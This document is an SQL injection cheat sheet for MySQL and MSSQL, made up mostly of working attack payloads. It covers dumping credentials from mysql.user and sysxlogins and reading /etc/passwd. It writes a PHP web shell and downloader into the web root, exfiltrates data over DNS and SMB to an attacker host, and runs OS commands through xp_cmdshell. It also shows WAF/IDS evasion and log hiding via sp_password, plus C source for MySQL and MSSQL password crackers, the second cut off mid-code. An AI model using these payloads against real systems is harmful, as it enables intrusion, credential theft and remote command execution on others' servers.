MySQL

Default Databases

`mysql`	Requires root privileges
`information_schema`	Availalble from version 5 and higher

Testing Injection

False means the query is invalid (MySQL errors/missing content on website)

True means the query is valid (content is displayed as usual)

Strings | Numeric | In a login

Given the query `SELECT * FROM Table WHERE id = '1';`

`'`	False
`''`	True
`"`	False
`""`	True
`\`	False
`\\`	True

Examples:

```
SELECT * FROM Articles WHERE id = '1''';
SELECT 1 FROM dual WHERE 1 = '1''''''''''''UNION SELECT '2';
```

Notes:

> *You can use as many apostrophes and quotations as you want as long as they pair up.*
>
> *It is also possible to continue the statement after the chain of quotes.*
>
> *Quotes escape quotes.*

Comment Out Query

The following can be used to comment out the rest of the query after your injection:

`#`	Hash comment
`/*`	C-style comment
`-- -`	SQL comment
`;%00`	Nullbyte
`` ` ``	Backtick

Examples:

```
SELECT * FROM Users WHERE username = '' OR 1=1 -- -' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3`';
```

Note:

> *The backtick can only be used to end a query when used as an alias.*

Testing Version

Variables | Specific Code

```
VERSION()
@@VERSION
@@GLOBAL.VERSION
```

Example:

```
SELECT * FROM Users WHERE id = '1' AND MID(VERSION(),1,1) = '5';
```

Note:

> *Output will contain `-nt-log` in case the DBMS runs on a Windows based machine.*

Database Credentials

Table	`mysql.user`
Columns	`user, password`

Current User	`user(), current_user(), current_user, system_user(), session_user()`

Examples:

```
SELECT current_user;
SELECT CONCAT_WS(0x3A, user, password) FROM mysql.user WHERE user = 'root'-- (Privileged)
```

Database Names

Tables	`information_schema.schemata, mysql.db`
Columns	`schema_name, db`
Current DB	`database(), schema()`

Examples:

```
SELECT database();
SELECT schema_name FROM information_schema.schemata;
SELECT DISTINCT(db) FROM mysql.db;-- (Privileged)
```

Server Hostname

@@HOSTNAME

Example:

```
SELECT @@hostname;
```

Server MAC Address

The Universally Unique Identifier is a 128-bit number where the last 12 digits are formed from the interfaces MAC address.

UUID()

Output:

```
aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee;
```

Note:

May return a 48-bit random string instead of the MAC address on some Operating Systems.

Tables and Columns

Determining number of columns

Order/Group By | Error Based | Error Based 2 | Error Based 3

```
GROUP/ORDER BY n+1;
```

Notes:

Keep incrementing the number until you get a False response.

Even though GROUP BY and ORDER BY have different funcionality in SQL, they both can be used in the exact same fashion to determine the number of columns in the query.

Example:

Given the query `SELECT username, password, permission FROM Users WHERE id = '{INJECTION POINT}';`

`1' ORDER BY 1--+`	True
`1' ORDER BY 2--+`	True
`1' ORDER BY 3--+`	True
`1' ORDER BY 4--+`	False - Query is only using 3 columns
`-1' UNION SELECT 1,2,3--+`	True

Retrieving Tables

Union | Blind | Error

```
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10;
```

Note:

version=10 for MySQL 5

Retrieving Columns

Union | Blind | Error | PROCEDURE ANALYSE()

```
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE t
able_name = 'tablename'
```

Retrieving Multiple Tables/Columns at once

```
SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM
(information_schema.columns) WHERE (table_schema>=@) AND
(@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ]
>',table_name,' > ',column_name))))x
```

Example:

```
SELECT * FROM Users WHERE id = '-1' UNION SELECT 1, 2, (SELECT (@) FROM
(SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE
(table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,' [ ',table_schema,' ]
>',table_name,' > ',column_name))))x), 4--+';
```

Output:

```
[ information_schema ] >CHARACTER_SETS > CHARACTER_SET_NAME
[ information_schema ] >CHARACTER_SETS > DEFAULT_COLLATE_NAME
[ information_schema ] >CHARACTER_SETS > DESCRIPTION
[ information_schema ] >CHARACTER_SETS > MAXLEN
[ information_schema ] >COLLATIONS > COLLATION_NAME
[ information_schema ] >COLLATIONS > CHARACTER_SET_NAME
[ information_schema ] >COLLATIONS > ID
[ information_schema ] >COLLATIONS > IS_DEFAULT
[ information_schema ] >COLLATIONS > IS_COMPILED
```

```
SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20,
table_name, 0x3c62723e, 0x436f6c756d6e3a20, column_name
ORDER BY (SELECT version FROM information_schema.tables)
SEPARATOR 0x3c62723e),1,1024) FROM
information_schema.columns
```

Example:

```
SELECT username FROM Users WHERE id = '-1' UNION
SELECT MID(GROUP_CONCAT(0x3c62723e, 0x5461626c653a20, table_name,
0x3c62723e, 0x436f6c756d6e3a20, column_name ORDER BY (SELECT version FROM
information_schema.tables) SEPARATOR 0x3c62723e),1,1024) FROM
information_schema.columns--+';
```

Output:

```
Table: talk_revisions
Column: revid

Table: talk_revisions
Column: userid

Table: talk_revisions
Column: user

Table: talk_projects
Column: priority
```

Find Tables from Column Name

`SELECT table_name FROM information_schema.columns WHERE column_name = 'username';`	Finds the table names for any columns named username.
`SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';`	Finds the table names for any columns that contain the word user.

Find Columns from Table Name

`SELECT column_name FROM information_schema.columns WHERE table_name = 'Users';`	Finds the columns for the Users table.
`SELECT column_name FROM information_schema.columns WHERE table_name LIKE '%user%';`	Finds the column names for any tables that contain the word user.

Find out current query

`SELECT info FROM information_schema.processlist`	Available starting from MySQL 5.1.7.

Avoiding the use of quotations

`SELECT * FROM Users WHERE username = 0x61646D696E`	Hex encoding.
`SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)`	CHAR() Function.

String Concatenation

`SELECT 'a' 'd' 'mi' 'n';`
`SELECT CONCAT('a', 'd', 'm', 'i', 'n');`
`SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');`
`SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');`

Notes:

> *CONCAT() will return NULL if any of its arguements is NULL. Instead use CONCAT_WS().*
>
> *The first argument of CONCAT_WS() defines the separator for the rest of its arguments.*

Conditional Statements

`CASE`
`IF()`
`IFNULL()`
`NULLIF()`

Examples:

```
SELECT IF(1=1, true, false);
SELECT CASE WHEN 1=1 THEN true ELSE false END;
```

Timing

`SLEEP()`	MySQL 5
`BENCHMARK()`	MySQL 4/5

Example:

```
' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false))
- '
```

Privileges

File Privileges

The following queries can help determine the FILE privileges for a given user.

`SELECT file_priv FROM mysql.user WHERE user = 'username';`	Root privileges required	MySQL 4/

		5
`SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%username%';`	No privileges required	MySQL 5

Reading Files

Files can be read if the user has FILE privileges.

LOAD_FILE()

Examples:

```
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE(0x2F6574632F706173737764);
```

Notes:

- *File must be located on the server host.*
- *The basedirectory for LOAD_FILE() is @@datadir .*
- *The file must be readable by the MySQL user.*
- *The file size must be less than max_allowed_packet.*
- *The default size for @@max_allowed_packet is 1047552 bytes.*

Writing Files

Files can be created if the user has FILE privileges.

INTO OUTFILE/DUMPFILE

Examples:

To write a PHP shell:

```
SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';
```

and then access it at:

```
http://localhost/shell.php?c=cat%20/etc/passwd
```

To write a downloader:

SELECT '<? fwrite(fopen($_GET[f], \'w\'), file_get_contents($_GET[u])); ?>' **INTO OUTFILE** '/var/www/get.php'

and then access it at:

```
http://localhost/get.php?f=shell.php&u=http://localhost/c99.txt
```

Notes:

> *Files cannot be overwritten with `INTO OUTFILE` .*
> *`INTO OUTFILE` must be the last statement in the query.*
> *There is no way to encode the pathname, so quotes are required.*

Out Of Band Channeling

DNS Requests

```
SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.attacker.com\\'));
```

SMB Requests

```
' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt
```

Stacked Queries

Stacked queries are possible with MySQL depending on which driver is being used by the PHP application to communicate with the database.

The `PDO_MYSQL` driver supports stacked queries. The `MySQLi` (Improved Extension) driver also supports stacked queries through the`multi_query()` function.

Examples:

```
SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,
password, priv) VALUES ('BobbyTables', 'kl20da$$','admin');
SELECT * FROM Users WHERE ID=1 AND 1=0; SHOW COLUMNS FROM Users;
```

MySQL-specific code

MySQL allows you to specify the version number after the exclamation mark. The syntax within the comment is only executed if the version is greater or equal to the specified version number.

Examples:

```
UNION SELECT /*!50000 5,null;%00*//*!40000 4,null-- ,*//*!30000 3,null--
x*/0,null--+
SELECT 1/*!41320UNION/*!/*!/*!00000SELECT/*!/*!USER/*!(/*!/*!/*!*/);
```

Notes:

The first example returns the version; it uses a UNION with 2 columns.

The second example demonstrates how this can be useful for bypassing a WAF/IDS.

Fuzzing and Obfuscation

Allowed Intermediary Characters

The following characters can be used as whitespaces.

09	Horizontal Tab
0A	New Line
0B	Vertical Tab
0C	New Page
0D	Carriage Return
A0	Non-breaking Space
20	Space

Example:

```
'%0A%09UNION%0CSELECT%A0NULL%20%23
```

Parentheses can also be used to avoid the use of spaces.

28	(
29	)

Example:

```
UNION(SELECT(column)FROM(table))
```

Allowed Intermediary Characters after AND/OR

20	Space
2B	+
2D	-
7E	~
21	!

40	@

Example:

```
SELECT 1 FROM dual WHERE 1=1 AND-+-+-+-+~~((1))
```

Note:

> *dual is a dummy table which can be used for testing.*

Obfuscating with Comments

Comments can be used to break up the query to trick the WAF/IDS and avoid detection. By using # or -- followed by a newline, we can split the query into separate lines.

Example:

```
1'#
AND 0--
UNION# I am a comment!
SELECT@tmp:=table_name x FROM--
`information_schema`.tables LIMIT 1#
```

URL Encoded the injection would look like:

```
1'%23%0AAND 0--%0AUNION%23 I am a comment!%0ASELECT@tmp:=table_name x
FROM--%0A`information_schema`.tables LIMIT 1%23
```

Certain functions can also be obfuscated with comments and whitespaces.

```
VERSION/**/%A0 (/*comment*/)
```

Encodings

Encoding your injection can sometimes be useful for WAF/IDS evasion.

URL Encoding	`SELECT %74able_%6eame FROM information_schema.tables;`
Double URL Encoding	`SELECT %2574able_%256eame FROM information_schema.tables ;`
Unicode Encoding	`SELECT %u0074able_%u6eame FROM information_schema.tables ;`
Invalid Hex Encoding (ASP)	`SELECT %tab%le_%na%me FROM information_schema.tables;`

Avoiding Keywords

If an IDS/WAF has blocked certain keywords, there are other ways of getting around it without

using encodings.

information_schema.tables

Spaces	`information_schema . tables`
Backticks	`` `information_schema`.`tables` ``
Specific Code	`/*!information_schema.tables*/`

Alternative Names	`information_schema.partitions`
	`information_schema.statistics`
	`information_schema.key_column_usage`
	`information_schema.table_constraints`

Note:

The alternate names may depend on a PRIMARY Key being present in the table.

Operators

AND , &&	Logical AND
=	Assign a value (as part of a SET statement, or as part of the SET clause in an UPDATE statement)
:=	Assign a value
BETWEEN ... AND ...	Check whether a value is within a range of values
BINARY	Cast a string to a binary string
&	Bitwise AND
~	Invert bits
|	Bitwise OR
^	Bitwise XOR
CASE	Case operator
DIV	Integer division
/	Division operator
<=>	NULL-safe equal to operator
=	Equal operator
>=	Greater than or equal operator
>	Greater than operator
IS NOT NULL	NOT NULL value test
IS NOT	Test a value against a boolean

IS NULL	NULL value test
IS	Test a value against a boolean
<<	Left shift
<=	Less than or equal operator
<	Less than operator
LIKE	Simple pattern matching
-	Minus operator
% or MOD	Modulo operator
NOT BETWEEN ... AND ...	Check whether a value is not within a range of values
!= , <>	Not equal operator
NOT LIKE	Negation of simple pattern matching
NOT REGEXP	Negation of REGEXP
NOT , !	Negates value
|| , OR	Logical OR
+	Addition operator
REGEXP	Pattern matching using regular expressions
>>	Right shift
RLIKE	Synonym for REGEXP
SOUNDS LIKE	Compare sounds
*	Multiplication operator
-	Change the sign of the argument
XOR	Logical XOR

Constants

current_user
null, \N
true, false

Password Hashing

Prior to MySQL 4.1, password hashes computed by the PASSWORD() function are 16 bytes long. Such hashes look like this:

PASSWORD('mypass')	6f8c114b58f2ce9e

As of MySQL 4.1, the PASSWORD() function has been modified to produce a longer 41-byte hash value:

PASSWORD('mypass')	*6C8989366EAF75BB670AD8EA7A7FC1176A95CEF4

Password Cracking

Cain & Abel and John the Ripper are both capable of cracking MySQL 3.x-6.x passwords.

A Metasploit module for JTR can be found here.

MySQL < 4.1 Password Cracker

This tool is a high-speed brute-force password cracker for MySQL hashed passwords. It can break an 8-character password containing any printable ASCII characters in a matter of hours on an ordinary PC.

```
/* This program is public domain. Share and enjoy.
*
* Example:
* $ gcc -O2 -fomit-frame-pointer MySQLfast.c -o MySQLfast
* $ MySQLfast 6294b50f67eda209
* Hash: 6294b50f67eda209
* Trying length 3
* Trying length 4
* Found pass: barf
*
* The MySQL password hash function could be strengthened considerably
* by:
* - making two passes over the password
* - using a bitwise rotate instead of a left shift
* - causing more arithmetic overflows
*/

#include <stdio.h>

typedef unsigned long u32;

/* Allowable characters in password; 33-126 is printable ascii */
#define MIN_CHAR 33
#define MAX_CHAR 126

/* Maximum length of password */
#define MAX_LEN 12

#define MASK 0x7fffffffL

int crack0(int stop, u32 targ1, u32 targ2, int *pass_ary)
{
  int i, c;
  u32 d, e, sum, step, diff, div, xor1, xor2, state1, state2;
  u32 newstate1, newstate2, newstate3;
  u32 state1_ary[MAX_LEN-2], state2_ary[MAX_LEN-2];
  u32 xor_ary[MAX_LEN-3], step_ary[MAX_LEN-3];
  i = -1;
  sum = 7;
  state1_ary[0] = 1345345333L;
  state2_ary[0] = 0x12345671L;

  while (1) {
    while (i < stop) {
      i++;
      pass_ary[i] = MIN_CHAR;
      step_ary[i] = (state1_ary[i] & 0x3f) + sum;
```

```
      xor_ary[i] = step_ary[i]*MIN_CHAR + (state1_ary[i] << 8);
      sum += MIN_CHAR;
      state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
      state2_ary[i+1] = state2_ary[i]
        + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
    }

    state1 = state1_ary[i+1];
    state2 = state2_ary[i+1];
    step = (state1 & 0x3f) + sum;
    xor1 = step*MIN_CHAR + (state1 << 8);
    xor2 = (state2 << 8) ^ state1;

    for (c = MIN_CHAR; c <= MAX_CHAR; c++, xor1 += step) {
      newstate2 = state2 + (xor1 ^ xor2);
      newstate1 = state1 ^ xor1;

      newstate3 = (targ2 - newstate2) ^ (newstate2 << 8);
      div = (newstate1 & 0x3f) + sum + c;
      diff = ((newstate3 ^ newstate1) - (newstate1 << 8)) & MASK;
      if (diff % div != 0) continue;
      d = diff / div;
      if (d < MIN_CHAR || d > MAX_CHAR) continue;

      div = (newstate3 & 0x3f) + sum + c + d;
      diff = ((targ1 ^ newstate3) - (newstate3 << 8)) & MASK;
      if (diff % div != 0) continue;
      e = diff / div;
      if (e < MIN_CHAR || e > MAX_CHAR) continue;

      pass_ary[i+1] = c;
      pass_ary[i+2] = d;
      pass_ary[i+3] = e;
      return 1;
    }

    while (i >= 0 && pass_ary[i] >= MAX_CHAR) {
      sum -= MAX_CHAR;
      i--;
    }
    if (i < 0) break;
    pass_ary[i]++;
    xor_ary[i] += step_ary[i];
    sum++;
    state1_ary[i+1] = state1_ary[i] ^ xor_ary[i];
    state2_ary[i+1] = state2_ary[i]
      + ((state2_ary[i] << 8) ^ state1_ary[i+1]);
  }

  return 0;
}

void crack(char *hash)
{
  int i, len;
  u32 targ1, targ2, targ3;
  int pass[MAX_LEN];

  if ( sscanf(hash, "%8lx%lx", &targ1, &targ2) != 2 ) {
    printf("Invalid password hash: %s\n", hash);
    return;
  }
  printf("Hash: %08lx%08lx\n", targ1, targ2);
  targ3 = targ2 - targ1;
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);
  targ3 = targ2 - ((targ3 << 8) ^ targ1);

  for (len = 3; len <= MAX_LEN; len++) {
    printf("Trying length %d\n", len);
    if ( crack0(len-4, targ1, targ3, pass) ) {
      printf("Found pass: ");
      for (i = 0; i < len; i++)
        putchar(pass[i]);
```

```
      putchar('\n');
      break;
    }
  }
  if (len > MAX_LEN)
    printf("Pass not found\n");
}

int main(int argc, char *argv[])
{
  int i;
  if (argc <= 1)
    printf("usage: %s hash\n", argv[0]);
  for (i = 1; i < argc; i++)
    crack(argv[i]);
  return 0;
}
```

MSSQL

Default Databases

`pubs`	Not available on MSSQL 2005
`model`	Available in all versions
`msdb`	Available in all versions
`tempdb`	Available in all versions
`northwind`	Available in all versions
`information_schema`	Availalble from MSSQL 2000 and higher

Comment Out Query

The following can be used to comment out the rest of the query after your injection:

`/*`	C-style comment
`--`	SQL comment
`;%00`	Nullbyte

Example:

```
SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';
```

Testing Version

@@VERSION

Example:

True if MSSQL version is 2008.

```
SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';
```

Note:

Output will also contain the version of the Windows Operating System.

Database Credentials

Database..Table	`master..syslogins, master..sysprocesses`
Columns	`name, loginame`
Current User	`user, system_user, suser_sname(), is_srvrolemember('sysadmin')`
Database Credentials	`SELECT user, password FROM master.dbo.sysxlogins`

Example:

Return current user:

```
SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;
```

Check if user is admin:

```
SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);
```

Database Names

Database.Table	`master..sysdatabases`
Column	`name`
Current DB	`DB_NAME(i)`

Examples:

```
SELECT DB_NAME(5);
SELECT name FROM master..sysdatabases;
```

Server Hostname

@@SERVERNAME
SERVERPROPERTY()

Examples:

```
SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), S
ERVERPROPERTY('edition');
```

Note:

> *SERVERPROPERTY() is available from MSSQL 2005 and higher.*

Tables and Columns

Determining number of columns

```
ORDER BY n+1;
```

Example:

Given the query: `SELECT username, password, permission FROM Users WHERE id = '1';`

`1' ORDER BY 1--`	True
`1' ORDER BY 2--`	True
`1' ORDER BY 3--`	True
`1' ORDER BY 4--`	False - Query is only using 3 columns
`-1' UNION SELECT 1,2,3--`	True

Note:

> *Keep incrementing the number until you get a False response.*

The following can be used to get the columns in the current query.

```
GROUP BY / HAVING
```

Example:

Given the query: `SELECT username, password, permission FROM Users WHERE id =`

```
'1';
```

`1' HAVING 1=1--`	Column 'Users.username' is invalid in the select list because it is not containe d in either an aggregate function or the GROUP BY clause.
`1' GROUP BY username HAVING 1= 1--`	Column 'Users.password' is invalid in the select list because it is not containe d in either an aggregate function or the GROUP BY clause.
`1' GROUP BY username, password HAVING 1=1--`	Column 'Users.permission' is invalid in the select list because it is not contain ed in either an aggregate function or the GROUP BY clause.
`1' GROUP BY username, password , permission HAVING 1=1--`	No Error

Note:

> *No error will be returned once all columns have been included.*

Retrieving Tables

We can retrieve the tables from two different databases, information_schema.tables or from master..sysobjects.

Union | Blind | Error

```
UNION SELECT name FROM master..sysobjects WH
ERE xtype='U'
```

Note:

> *Xtype = 'U' is for User-defined tables. You can use 'V' for views.*

Retrieving Columns

We can retrieve the columns from two different databases, information_schema.columns or masters..syscolumns.

Union | Blind | Error

```
UNION SELECT name FROM master..syscolumns WH
ERE id = (SELECT id FROM master..syscolumns
WHERE name = 'tablename')
```

Retrieving Multiple Tables/Columns at once

The following 3 queries will create a temporary table/column and insert all the user-defined tables into it. It will then dump the table content and finish by deleting the table.

Create Temp Table/Column and Insert Data:

```
AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+'
'+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO
```

```
TMP_DB END;
```

Dump Content:

```
AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);
```

Delete Table:

```
AND 1=0; DROP TABLE TMP_DB;
```

An easier method is available starting with MSSQL 2005 and higher. The XML function path() works as a concatenator, allowing the retrieval of all tables with 1 query.

`SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('')`	SQL Server 2005 +

Note:

> *You can encode your query in hex to "obfuscate" your attack.*
>
> ```
> ' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--
> ```

Avoiding the use of quotations

```
SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)
```

String Concatenation

`SELECT CONCAT('a','a','a'); (SQL SERVER 2012)`
`SELECT 'a'+'d'+'mi'+'n';`

Conditional Statements

IF
CASE

Examples:

```
IF 1=1 SELECT 'true' ELSE SELECT 'false';
SELECT CASE WHEN 1=1 THEN true ELSE false END;
```

Note:

IF cannot be used inside a SELECT statement.

Timing

```
WAITFOR DELAY 'time_to_pass';
WAITFOR TIME 'time_to_execute';
```

Example:

```
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';
```

OPENROWSET Attacks

```
SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF exec
ute master..xp_cmdshell "dir"');
```

System Command Execution

Include an extended stored procedure named xp_cmdshell that can be used to execute operating system commands.

```
EXEC master.dbo.xp_cmdshell 'cmd';
```

Starting with version MSSQL 2005 and higher, xp_cmdshell is disabled by default, but can be activated with the following queries:

```
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'xp_cmdshell', 1
EXEC sp_configure reconfigure
```

Alternatively, you can create your own procedure to achieve the same results:

```
DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'
```

If the SQL version is higher than 2000, you will have to run additional queries in order the execute

the previous command:

```
EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure
```

Example:

Checks to see if xp_cmdshell is loaded, if it is, it checks if it is active and then proceeds to run the 'dir' command and inserts the results into TMP_DB:

```
' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF
EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].
[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN
CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int,
config_value int, run_value int) INSERT %23xp_cmdshell EXEC
master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell
WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT
%23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT
@a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font>
<font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END
ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END
ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--
```

Dump Content:

```
' UNION SELECT tbl FROM TMP_DB--
```

Delete Table:

```
' DROP TABLE TMP_DB--
```

SP_PASSWORD (Hiding Query)

Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure.

```
SP_PASSWORD
```

Example:

```
' AND 1=1--sp_password
```

Output:

```
-- 'sp_password' was found in the text of this event.
-- The text has been replaced with this comment for security
 reasons.
```

Stacked Queries

MSSQL supports stacked queries.

Example:

```
' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');
```

Fuzzing and Obfuscation

Allowed Intermediary Characters

The following characters can be used as whitespaces.

01	Start of Heading
02	Start of Text
03	End of Text
04	End of Transmission
05	Enquiry
06	Acknowledge
07	Bell
08	Backspace
09	Horizontal Tab
0A	New Line
0B	Vertical Tab
0C	New Page
0D	Carriage Return
0E	Shift Out
0F	Shift In
10	Data Link Escape
11	Device Control 1
12	Device Control 2

13	Device Control 3
14	Device Control 4
15	Negative Acknowledge
16	Synchronous Idle
17	End of Transmission Block
18	Cancel
19	End of Medium
1A	Substitute
1B	Escape
1C	File Separator
1D	Group Separator
1E	Record Separator
1F	Unit Separator
20	Space
25	%

Examples:

```
S%E%L%E%C%T%01column%02FROM%03table;
A%%ND 1=%%%%%%%%1;
```

Note:

> *The percentage signs in between keywords is only possible on ASP(x) web applications.*

The following characters can be also used to avoid the use of spaces.

22	"
28	(
29	)
5B	[
5D	]

Examples:

```
UNION(SELECT(column)FROM(table));
```

```
SELECT"table_name"FROM[information_schema].[tables];
```

Allowed Intermediary Characters after AND/OR

01 - 20	Range
21	!
2B	+
2D	-
2E	.
5C	\
7E	~

Example:

```
SELECT 1FROM[table]WHERE\1=\1AND\1=\1;
```

Note:

> *The backslash does not seem to work with MSSQL 2000.*

Encodings

Encoding your injection can sometimes be useful for WAF/IDS evasion.

URL Encoding	`SELECT %74able_%6eame FROM information_schema.tables;`
Double URL Encoding	`SELECT %2574able_%256eame FROM information_schema.tables ;`
Unicode Encoding	`SELECT %u0074able_%u6eame FROM information_schema.tables ;`
Invalid Hex Encoding (ASP)	`SELECT %tab%le_%na%me FROM information_schema.tables;`
Hex Encoding	`' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c 4543542031 AS VARCHAR(4000)); EXEC (@S);--`
HTML Entities (Needs to be verified)	`%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B% 26%2361%3B%26%2349%3B`

Password Hashing

Passwords begin with 0x0100, the first for bytes following the 0x are a constant; the next eight bytes are the hash salt and the remaining 80 bytes are two hashes, the first 40 bytes are a case-sensitive hash of the password, while the second 40 bytes are the uppercase version.

```
0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACAB DFD1457
```

Password Cracking

A Metasploit module for JTR can be found here.

MSSQL 2000 Password Cracker

This tool is designed to crack Microsoft SQL Server 2000 passwords.

```
////////////////////////////////////////////////////////////////////////////
//
//           SQLCrackCl
//
//           This will perform a dictionary attack against the
//           upper-cased hash for a password. Once this
//           has been discovered try all case variant to work
//           out the case sensitive password.
//
//           This code was written by David Litchfield to
//           demonstrate how Microsoft SQL Server 2000
//           passwords can be attacked. This can be
//           optimized considerably by not using the CryptoAPI.
//
//           (Compile with VC++ and link with advapi32.lib
//           Ensure the Platform SDK has been installed, too!)
//
////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
                int err = 0;
            if(argc !=3)
                      {
                                printf("\n\n*** SQLCrack *** \n\n");
                                printf("C:\\>%s hash passwd-file\n\n",argv[0]);
                                printf("David Litchfield (david@ngssoftware.com)\n");
                                printf("24th June 2002\n");
                                return 0;
                      }
            err = OpenPasswordFile(argv[2]);
            if(err !=0)
             {
               return printf("\nThere was an error opening the password file %s\n",ar
gv[2]);
             }
            err = CrackPassword(argv[1]);
            fclose(fd);
            printf("\n\n%d",wd);
            return 0;
}
int OpenPasswordFile(char *pwdfile)
{
            fd = fopen(pwdfile,"r");
            if(fd)
                      return 0;
            else
                      return 1;
}
int CrackPassword(char *hash)
{
```

```
            char phash[100]="";
            char pheader[8]="";
            char pkey[12]="";
            char pnorm[44]="";
            char pucase[44]="";
            char pucfirst[8]="";
            char wttf[44]="";
            char uwttf[100]="";
            char *wp=NULL;
            char *ptr=NULL;
            int cnt = 0;
            int count = 0;
            unsigned int key=0;
            unsigned int t=0;
            unsigned int address = 0;
            unsigned char cmp=0;
            unsigned char x=0;
            HCRYPTPROV hProv=0;
            HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
              {
                      return printf("\nThe password hash is too short!\n");
              }
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
              {
                      hash = hash + 2;
                      strncpy(pheader,hash,4);
                      printf("\nHeader\t\t: %s",pheader);
                      if(strlen(pheader)!=4)
                                return printf("%s",lerr);
                      hash = hash + 4;
                      strncpy(pkey,hash,8);
                      printf("\nRand key\t: %s",pkey);
                      if(strlen(pkey)!=8)
                                return printf("%s",lerr);
                      hash = hash + 8;
                      strncpy(pnorm,hash,40);
                      printf("\nNormal\t\t: %s",pnorm);
                      if(strlen(pnorm)!=40)
                                return printf("%s",lerr);
                      hash = hash + 40;
                      strncpy(pucase,hash,40);
                      printf("\nUpper Case\t: %s",pucase);
                      if(strlen(pucase)!=40)
                                return printf("%s",lerr);
                      strncpy(pucfirst,pucase,2);
                      sscanf(pucfirst,"%x",&cmp);
              }
else
              {
                      return printf("The password hash has an invalid format!\n");
              }
printf("\n\n       Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                ,0))
  {
              if(GetLastError()==NTE_BAD_KEYSET)
                      {
                                // KeySet does not exist. So create a new keyset
                                if(!CryptAcquireContext(&hProv,
                                                        NULL,
                                                        NULL,
                                                        PROV_RSA_FULL,
                                                        CRYPT_NEWKEYSET ))
                                   {
                                            printf("FAILLLLLLL!!!");
                                            return FALSE;
                                   }
               }
}
while(1)
             {
```

```
                // get a word to try from the file
                ZeroMemory(wttf,44);
                if(!fgets(wttf,40,fd))
                   return printf("\nEnd of password file. Didn't find the password.\n"
);
                wd++;
                len = strlen(wttf);
                wttf[len-1]=0x00;
                ZeroMemory(uwttf,84);
                // Convert the word to UNICODE
